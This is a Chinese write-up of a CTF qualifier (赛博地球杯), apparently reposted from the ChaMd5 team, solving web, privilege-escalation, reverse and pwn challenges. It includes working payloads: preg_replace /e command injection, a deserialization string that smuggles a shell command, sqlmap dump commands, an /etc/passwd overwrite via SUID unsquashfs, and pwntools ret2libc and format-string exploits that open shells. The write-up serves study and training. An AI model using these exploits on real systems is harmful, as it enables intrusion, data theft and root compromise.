赛博地球杯初赛第三名,ChaMd5安全团队的writeup

栏目: Python · 发布时间: 6年前

内容简介:赛博地球杯初赛第三名,ChaMd5安全团队的writeup

WEB

大量设备报表不见了(签道题)

访问 index.php 会被跳转到 index.php?id=1 而且还有写送分题,尝试很多后,发现是考验爆破,上 burpsuite 爆破即可,最后在 index.php?id=2333 页面找到 flag

请关注工控云管理系统的警告记录

访问 index.php 看到 getflag.php 进去后是代码审计

赛博地球杯初赛第三名,ChaMd5安全团队的writeup

这题类似于 hitcon2017 的题目,参考以下 writeup

https://lorexxar.cn/2017/11/10/hitcon2017-writeup/

这题关于要先得到自己外网 ip ,以及计算出 md5 值,于是我在自己的 vps 上建立 php 文件:

<?php
$ip=@$_SERVER['REMOTE_ADDR'];
echo $ip."<br />";
$d=@$_GET['d'];
echo md5('cetcrce'.$d.$ip)."<br />";

然后在 getflag.php 页面分别提交下面链接。这里一个坑是 hitcon 是按字母排序

?dir=p&c=>tar
?dir=p&c=>vcf
?dir=p&c=>x
?dir=p&c=* /v*

3 个会分别在对应的目录下生成文件,而 * 会解析为当前目录下所有文件, /v* 用来指代 /var

整个效果就变成了 tar vcf x /v*

/var 都打包到 x ,然后下载 tar 包,很大 - - ,解压后找 flag.php

工控云管理系统项目管理页面解析漏洞

访问 index.php ,有 view-source

赛博地球杯初赛第三名,ChaMd5安全团队的writeup

绕过很简单

/index.php?id=1.000000000000000000009&submit&page=flag.php

然后

赛博地球杯初赛第三名,ChaMd5安全团队的writeup

这里可以写入文件,试了下得上级目录,例如 con=1.txt&file=../1.txt

然后关键是绕过后缀的过滤,本来想尝试,但意外的发现了 uploaded/ 有列目录漏洞

赛博地球杯初赛第三名,ChaMd5安全团队的writeup

翻了一些,看到 wfox.php ,试了 wfox wf 等密码,幸运的顺利上车

赛博地球杯初赛第三名,ChaMd5安全团队的writeup

工控云管理系统设备维护中心被植入后门

访问 /index.php?page=index 发现存在文件包含漏洞

赛博地球杯初赛第三名,ChaMd5安全团队的writeup

/index.php?page=php://filter/convert.base64-encode/resource=index.php

读取到 index.php 源码

赛博地球杯初赛第三名,ChaMd5安全团队的writeup

关键点: xff pre_replace 可以 /e 模式

最后 payload

x-forwarded-for:127.0.0.1
/index.php?pat=/test/e&rep=system('cat+./s3chahahaDir/flag/flag.php');⊂=test

工控云管理系统客服中心期待您的反馈

试了 /.index.php.swp ,下载后恢复是空的

赛博地球杯初赛第三名,ChaMd5安全团队的writeup

在上传界面折腾了好久,后来试试 /includes/uploaded 目录( uploaded 这个文件夹前面有一个 web 题也是同样的目录),大有收获

赛博地球杯初赛第三名,ChaMd5安全团队的writeup

前人种树,后人乘凉。

后面刷新发现是白页,再刷新几次又列目录,反复几次都这样。

赛博地球杯初赛第三名,ChaMd5安全团队的writeup

后面我猜到了,对比前后 2 次结果,我猜测后台有脚本在删除带后缀的文件(估计为了防止 getshell ),包括 index.html/index.php ,然后删除后再从备份里复原。但是这样就有短暂的时间内因为缺少 index 而导致列目录漏洞。

赛博地球杯初赛第三名,ChaMd5安全团队的writeup

工控管理系统新版本

findpwd.php 存在 sql 注入

抓包:

POST /findpwd.php HTTP/1.1
Host: 47.104.1.173:20004
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DNT: 1
Referer: http://47.104.1.173:20004/findpwd.php
Cookie: PHPSESSID=a70j8l02p8qolcam4b259qf375
X-Forwarded-For: 127.0.0.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
username=1

使用 sqlmap

python sqlmap.py  -r 222.txt --dbs
python sqlmap.py  -r 222.txt -D cetc004 --tables
python sqlmap.py  -r 222.txt -D cetc004 -T admin --dump

赛博地球杯初赛第三名,ChaMd5安全团队的writeup

这个 md5 值暂时解不开,很大程度是带了盐。

后来发现可以自己注册同名账号,再登录下就可以进去拿到 flag

工控系统的敏感消息遭泄漏

存在 .git 泄露,使用 GitHack 即可还原代码

赛博地球杯初赛第三名,ChaMd5安全团队的writeup

就一个常见的 php 反序列化漏洞,参考

php 反序列化漏洞绕过魔术方法

https://www.cnblogs.com/Mrsm1th/p/6835592.html

当成员属性数目大于实际数目时可绕过 wakeup 方法 (CVE-2016-7124)

最后的 payload

/index2.php?file=Flag&ad[]=--&secret=O:6:"Record":2:{s:4:"file";s:50:"p.php||tac /var/www/html/import/Flag.php ||echo 1";}

SDN

SDN 本地提权( LPE

尝试了几个提权的 exp 均无果,遂从 SUID 下手

查找具有 SUID 权限位的程序,发现 /usr/sbin/unsquashfs 这个程序具有 SUID 权限位

赛博地球杯初赛第三名,ChaMd5安全团队的writeup

于是构造一个 squashfs 格式的文件包,目录结构如下

赛博地球杯初赛第三名,ChaMd5安全团队的writeup

其中的 passwd sdn1 服务器上的 /etc/passwd 文件,在末尾加入了

一个新的用户 line ,密码哈希也是自己生成的, UID GID 均为 0 root:root

赛博地球杯初赛第三名,ChaMd5安全团队的writeup

然后打包得到 squashfs 格式的文件 (exp)

赛博地球杯初赛第三名,ChaMd5安全团队的writeup

exp 这个文件 scp 到服务器上,然后解包到 / ,即可覆盖掉 /etc/passwd

unsquashfs -d / -f exp

然后 su line ,输入密码即可以 line 这个账户登录,而此时 line 这个账户的 UID 0 ,即提权成功。 /home/admin 下找到 flag 赛博地球杯初赛第三名,ChaMd5安全团队的writeup

MISC

文件分析

一个 word ,分析得头疼,试了各种隐写,也就得到

the flag is (3ijnhygvfr)H
you need find another key

之后认真在 winhex 里观看

赛博地球杯初赛第三名,ChaMd5安全团队的writeup

photoshop jpx 字样,发现是用 photoshop png 转换为 jpx ,于是我自己用 photoshop 打开随便一个 png ,另存为 jpx 后缀,然后对比文件头,去修复原来 word 里面的 jpx 的头部并分离出来

赛博地球杯初赛第三名,ChaMd5安全团队的writeup

是一个 SmarNC 的截图

于是我下载了 SmarNC ,并按照左边的程序去绘制,可惜不全。

另外这时候,我也参悟了 the flag is (3ijnhygvfr)H

是键盘密码

赛博地球杯初赛第三名,ChaMd5安全团队的writeup

勾画出了一个 w

另外刀路图:

赛博地球杯初赛第三名,ChaMd5安全团队的writeup

赛博地球杯初赛第三名,ChaMd5安全团队的writeup

3w 的来源:

一个是键盘图

一个是第一层刀路

一个是第二层刀路

H 的意思是 HEX

我们提交过 www WWW 的原值、 hex 值,也尝试过不少提交,最后发现是 3w hex 3377

( 满脸想吐槽

另外,我们本来设想是以下脑洞:

赛博地球杯初赛第三名,ChaMd5安全团队的writeup

用点脑洞的话,这不是就键盘!!!

赛博地球杯初赛第三名,ChaMd5安全团队的writeup

于是把 10 个镶嵌孔和圆点对应到键位。

可惜我们尝试各种提交不对。

REVERSE

工控固件逆向

这个就是 vxworks 早版本 os 带的操作系统用户密码 hash 的算法再修改了一点点数字,但这几个个版本的 os 这个算法有大概率的碰撞漏洞,所以这题存在多解。

参考链接:

施耐德 PLC 以太网模块固件后门引发的血案 ( )

http://chuansong.me/n/1864343

程序如下:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
//cQwwddSRxS
//4066552172
//RSbcdwxy9Q
int enc_(char* in, char* out)
{
   int ix;
   unsigned long magic = 31695317;
   unsigned long passwdInt = 0;
   if(strlen(in) <= 0 || strlen(in) > 40)
   {
       return 1;
   }
   for(ix = 0; ix < strlen(in);ix++)
       passwdInt+= ((in[ix])*(ix+1))^(ix+1);
   passwdInt*=magic;
   sprintf(out,"%u",passwdInt);
   printf("%s\n",out);
   for(ix=0;ix<strlen(out);ix++)
   {
       if(out[ix]<'3')
           out[ix]+='!';
       if(out[ix]<'7')
           out[ix]+='/';
       if(out[ix]<'9')
           out[ix]+='B';
   }
   return 0;
}
int enc(char* in, char* out)
{
   int ix;
   unsigned long magic = 31695317;
   unsigned long passwdInt = 0;
   if(strlen(in) <= 0 || strlen(in) > 40)
   {
       return 1;
   }
   for(ix = 0; ix < strlen(in);ix++)
       passwdInt+= ((in[ix])*(ix+2))^(ix+1);
   passwdInt*=magic;
   if(passwdInt == 4066552172)//4066552172 4213462421
   {
       printf("key:%s\n",in);
#if 1
   sprintf(out,"%u",passwdInt);
   for(ix=0;ix<strlen(out);ix++)
   {
       if(out[ix]<'3')
           out[ix]+='!';
       if(out[ix]<'6')
           out[ix]+='/';
       if(out[ix]<'9')
           out[ix]+='A';
   }
   printf("%s\n",out);
   }
#endif
   return 0;
}
char book[]={'\0',
   '0','1','2','3','4','5','6','7','8','9',
   'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
   'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
   '!','\"','#','$','%','&','(',')','*','+',',','-','.','/',':',';','<','=','>','?',
   '@','[','\\',']',
   '^','-','{','|','}','~',' '};
int main(void)
{
   char in[40]={0},out[40];
   char idx[40];
   char k;
   //printf("chartable %d",sizeof book);
#if 1
       for(idx[7] = 1; idx[7] < sizeof(book); idx[7]++)
       for(idx[6] = 1; idx[6] < sizeof(book); idx[6]++)
       {
       for(idx[5] = 1; idx[5] < sizeof(book); idx[5]++)
       for(idx[4] = 1; idx[4] < sizeof(book); idx[4]++)
       for(idx[3] = 1; idx[3] < sizeof(book); idx[3]++)
       //for(idx[2] = 1; idx[2] < sizeof(book); idx[2]++)
       //for(idx[1] = 1; idx[1] < sizeof(book); idx[1]++)
       //for(idx[0] = 1; idx[0] < sizeof(book); idx[0]++)      
       {
           for(k=0;k<8;k++)
               in[k]=book[idx[k]];
           in[0]='1';in[1]='2';in[2]='3';
           enc(in,out);
       }
       }
#endif
   //scanf("%s",in);
   //enc("123456",out);
   //printf("%s\n",out);
   //system("pause");
   return 0;
}

运行后得到:

赛博地球杯初赛第三名,ChaMd5安全团队的writeup

由于多解,询问了出题人,出题人认可我们的 123kg}I0 正确。

PLC 时钟误差

脚本代码如下:

import pwn
import time
import os
pwn.context.log_level = 'debug'
def run():
   t = pwn.remote('47.104.177.194',30005)
   t.recv()
   t.recv()
   t.recv()
   t.sendline('159')
   t.sendline('1')
   time.sleep(9.5)
   t.sendline('cat flag')
   data = t.recvall()
   if len(data) > 10:
       fp = open("/tmp/flag", 'w')
       fp.write(data)
       fp.close()
       os.system('echo "%s" >> /tmp/flag'%data)
       print data
for i in range(100):
   pid = os.fork()
   if pid == 0:
       break
for i in range(10):
   run()

以下是自己写的软件,来发送包

赛博地球杯初赛第三名,ChaMd5安全团队的writeup

赛博地球杯初赛第三名,ChaMd5安全团队的writeup

PWN

HMI 流水灯运行

栈溢出:

赛博地球杯初赛第三名,ChaMd5安全团队的writeup

脚本如下:

#!/usr/bin/env python
# -*-coding:utf8 -*-
from pwn import *
import re
context.arch = 'i386'
if len(sys.argv) < 2:
   p = process('./1stack')  
   context.log_level = 'debug'
else:  
   p = remote(sys.argv[1], int(sys.argv[2]))    
context.log_level = 'debug'
read_got_plt = 0x0804A00C
puts_plt = 0x080484F0
vul_func = 0x080488A8
read_off = 0xd4350
system_off = 0x3a940
binsh_off = 0x15900b
printf_off = 0x49020
# elf = ELF('/lib/i386-linux-gnu/libc.so.6')
# read_off = elf.symbols['read']
# printf_off = elf.symbols['printf']
# system_off = elf.symbols['system']
# binsh_off = elf.search('/bin/sh').next()
# gdb.attach(p,'b *0x080488DC')
# raw_input('?')
p.recvuntil("*...........................................................")
payload  = 'A'*0x8c+p32(puts_plt)+p32(vul_func)+p32(read_got_plt)
p.sendline(payload)
while True:
   if p.recvuntil(chr(0xf7),timeout = 0.5):
       break
res = p.recv(8)
print res.encode('hex')
printf_addr = u32(res[:4])
system_addr = printf_addr-printf_off+system_off
binsh_addr= printf_addr-printf_off+binsh_off
log.info('system addr:'+hex(system_addr))
payload = "A"*0x8c+p32(system_addr)+p32(vul_func)+p32(binsh_addr)
p.recvuntil("*...........................................................")
p.sendline(payload)
log.info('get shell')
p.interactive()

黑客游戏

栈溢出

赛博地球杯初赛第三名,ChaMd5安全团队的writeup

mmap hero 的状态文件。可以以同名进行多次链接,修改血量值等

赛博地球杯初赛第三名,ChaMd5安全团队的writeup

脚本如下:

#!/usr/bin/env python
# -*-coding:utf8 -*-
from pwn import *
import re
context.arch = 'i386'
if len(sys.argv) < 2:
   p = process('./play')  
   context.log_level = 'debug'
else:  
   p = remote(sys.argv[1], int(sys.argv[2]))    
# context.log_level = 'debug'
def login():
   p.recvuntil("login:")
   p.sendline('poyoten')
def get_status():
   p.recvuntil("Surplus:")
   hero_hp = int(re.findall('(\d+)',p.recvuntil('   |\n'))[0])
   p.recvuntil("Surplus:")
   mon_hp = int(re.findall('(\d+)',p.recvuntil('   |\n'))[0])
   p.recvuntil("Slave:")
   slave = int(re.findall('(\d+)',p.recvuntil('   |\n'))[0])
   return hero_hp,mon_hp,slave
def change_skill():
   p.recvuntil(">>")
   p.sendline(str(3))
   p.recvuntil(">>")
   p.sendline(str(1))
def cheat():
   p1 =  remote("47.104.90.157",30003)
   # p1 = process('./play')
   p1.recvuntil("login:")
   p1.sendline('poyoten')
   p1.recvuntil("Surplus: ")
   hero_hp = int(re.findall('(\d+)',p1.recvuntil('   |\n'))[0])
   p1.recvuntil("Slave:")
   slave = int(re.findall('(\d+)',p1.recvuntil('   |\n'))[0])
   while hero_hp < 50*(slave+1):
       p1.recvuntil(">>")
       p1.sendline("2")
       p1.recvuntil("Surplus: ")
       hero_hp = int(re.findall('(\d+)',p1.recvuntil('   |\n'))[0])
   p1.close()
login()
change_skill()
while 'status' in p.recvuntil('-----\n',timeout = 1):
   (hero_hp,mon_hp,slave) = get_status()
   if slave == 2:
       if hero_hp < 30:
           cheat()
   if slave == 3:
       if hero_hp < 70:
           cheat()    
   p.recvuntil(">>")
   p.sendline(str(1))
   p.recvuntil("(1:yes/0:no):")
   p.sendline(str(1))
read_got_plt = 0x0804B00C
puts_plt = 0x08048670
vul_func = 0x8048EC7
read_off = 0xd4350
system_off = 0x3a940
binsh_off = 0x15900b
# elf = ELF('/lib/i386-linux-gnu/libc.so.6')
# read_off = elf.symbols['read']
# system_off = elf.symbols['system']
# binsh_off = elf.search('/bin/sh').next()
payload = "A"*0x4c+p32(puts_plt)+p32(vul_func)+p32(read_got_plt)
p.recvuntil("name:")
p.sendline(payload)
p.recvuntil("welcome\n")
res = p.recv(8)
read_addr = u32(res[:4])
system_addr = read_addr-read_off+system_off
binsh_addr= read_addr-read_off+binsh_off
log.info('system addr:'+hex(system_addr))
payload = "A"*0x4c+p32(system_addr)+p32(vul_func)+p32(binsh_addr)
# gdb.attach(p,'b *08048F01')
raw_input('?')
p.recvuntil("name:")
p.sendline(payload)
log.info('get shell')
p.interactive()

实时数据监测

格式化漏洞

脚本如下:

#!/usr/bin/env python
# -*-coding:utf8 -*-
from pwn import *
import struct
def max(a,b):
   if (a>=b):
       return a
   else:
       return b
def GenFormatStr(addr,val):
   HI = (val&0xFFFF0000)>>16
   LO  = val&0xFFFF
   if HI > LO:
       payload = p32(addr) + p32(addr +2)
       payload += "%%%dc"%(LO-8)+"%12$hn"+"%%%dc"%(HI-LO)+"%13$hn"
   else:
       payload = p32(addr+2) + p32(addr)
       payload += "%%%dc"%(HI-8)+"%12$hn"+"%%%dc"%(LO-HI)+"%13$hn"
   return payload
context.arch = 'i386'
if len(sys.argv) < 2:
   p = process('./pwn')  
   context.log_level = 'debug'
else:  
   p = remote(sys.argv[1], int(sys.argv[2]))
# gdb.attach(p,'b *0x804887c ')
addr = 0x0804b14c
val = 0x02223322
payload = GenFormatStr(addr,val)
p.recvuntil("初始化反应。")
p.sendline(payload)
p.recvuntil("成功")
print p.recv()

赛博地球杯初赛第三名,ChaMd5安全团队的writeup

赛博地球杯初赛第三名,ChaMd5安全团队的writeup


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

啊哈!算法

啊哈!算法

啊哈磊 / 人民邮电出版社 / 2014-6-1 / 45.00元

这不过是一本有趣的算法书而已。和别的算法书比较,如果硬要说它有什么特点的话,那就是你能看懂它。 这是一本充满智慧和趣味的算法入门书。没有枯燥的描述,没有难懂的公式,一切以实际应用为出发点, 通过幽默的语言配以可爱的插图来讲解算法。你更像是在阅读一个个轻松的小故事或是在玩一把趣味解谜 游戏,在轻松愉悦中便掌握算法精髓,感受算法之美。 本书中涉及到的数据结构有栈、队列、链表、树......一起来看看 《啊哈!算法》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换